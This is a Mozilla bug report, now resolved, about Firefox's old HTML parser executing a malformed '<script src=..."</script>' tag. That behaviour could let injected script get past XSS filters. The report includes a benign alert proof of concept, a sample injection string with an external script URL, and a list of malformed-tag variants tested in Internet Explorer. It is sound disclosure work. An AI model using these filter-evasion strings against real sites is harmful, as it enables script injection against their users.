Closed Bug 560927 Opened 14 years ago Closed 12 years ago

Possibility of script injection: FF incorrectly parses & interprets malformed <script> tag

Categories

(Core :: DOM: HTML Parser, defect)

x86_64
Linux
defect
Not set
normal

Tracking

()

RESOLVED FIXED
Tracking Status
firefox-esr10 --- unaffected
status1.9.2 --- wontfix

People

(Reporter: dtrebbien, Assigned: hsivonen)

References

Details

(Whiteboard: [sg:low] XSS filter evasion? [fixed by the HTML5 parser])

User-Agent:       Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.3a5pre) Gecko/20100420 Minefield/3.7a5pre
Build Identifier: Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.3a5pre) Gecko/20100420 Minefield/3.7a5pre

------------------------ test.html ------------------------
<!DOCTYPE html>
<html>
<body>
<script src="test.js"</script>
</body>
</html>
---------------------- END test.html ----------------------

------------------------- test.js -------------------------
window.alert("Uh oh");
----------------------- END test.js -----------------------


The above is a test case for this issue. If `test.html` and `test.js` are placed into the same directory and `test.html` is opened, then Firefox will incorrectly load & run `test.js`. This bug still occurs if `test.html` and `test.js` are loaded via HTTP.

This is potentially a problem for web sites that display user-supplied HTML. Many web sites will filter out HTML from user input that could cause script injection, but the filter may not remove text such as '<script src="http://5z8.info/inject_worm_f1k9a_facebook-hack"</script>' because it is not valid HTML. Part of the problem would be that non-HTML is not being escaped by the web site, but another part is Firefox's handling of the malformed HTML.

Reproducible: Always

Steps to Reproduce:
1. Create `test.html` and `test.js` in the same directory with the given contents.
2. Select "File" -> "Open File...". Browse to `test.html` and open it.
Actual Results:  
An alert box pops up with the text "Uh oh", indicating that Firefox parsed the malformed text '<script src="test.js"</script>' as an HTML <script> tag and loaded & executed `test.js`.

Expected Results:  
There should not be an alert box.
Component: General → DOM: Core & HTML
Product: Firefox → Core
QA Contact: general → general
The HTML5 parser changes the behavior here...  Not sure how feasible that is with the old parser.
Status: UNCONFIRMED → NEW
Component: DOM: Core & HTML → HTML: Parser
Ever confirmed: true
QA Contact: general → parser
Do other browsers handle this markup differently?  (Only for script tags, or for all tags?  Does it depend on whether there's a space after the attribute?)

This might be a dup of bug 226495.
Blocks: xss
Whiteboard: [sg:low] XSS filter evasion?
> Do other browsers handle this markup differently? 

For this specific markup in this bug, yes.
> Do other browsers handle this markup differently?

Yes. Both Internet Explorer 6 SP3 and Internet Explorer 8 do not load & execute `test.js` for this specific markup.

> Does it depend on whether there's a space after the attribute?)

IE 6 SP3 does not execute `test.js` if there is a space after the attribute, as in:
<script src="test.js" </script>

It does not execute `test.js` for these, additional cases:
<script src="test.js"
<script src="test.js">
<script src="test.js"/>
<script src="test.js" />
<script src="test.js"><script>
<script src="test.js"<b>test</b>
<script src="test.js"></
<script src="test.js"></>
<script src="test.js"></  script
<script src="test.js"></  script>

IE 6 SP3 loads & executes `test.js` with (at least):
<script src="test.js"></script>
<script src="test.js"><script></script>
<script src="test.js"<b>test</b></script>
<script src="test.js"></script
Can you look into this Henri?
Assignee: nobody → hsivonen
This was fixed by the HTML5 parser landing.

I think we should keep this bug marked security-sensitive until the 3.6 EOL.
Status: NEW → RESOLVED
Closed: 12 years ago
Resolution: --- → FIXED
Whiteboard: [sg:low] XSS filter evasion? → [sg:low] XSS filter evasion? [fixed by the HTML5 parser]
Group: core-security
You need to log in before you can comment on or make changes to this bug.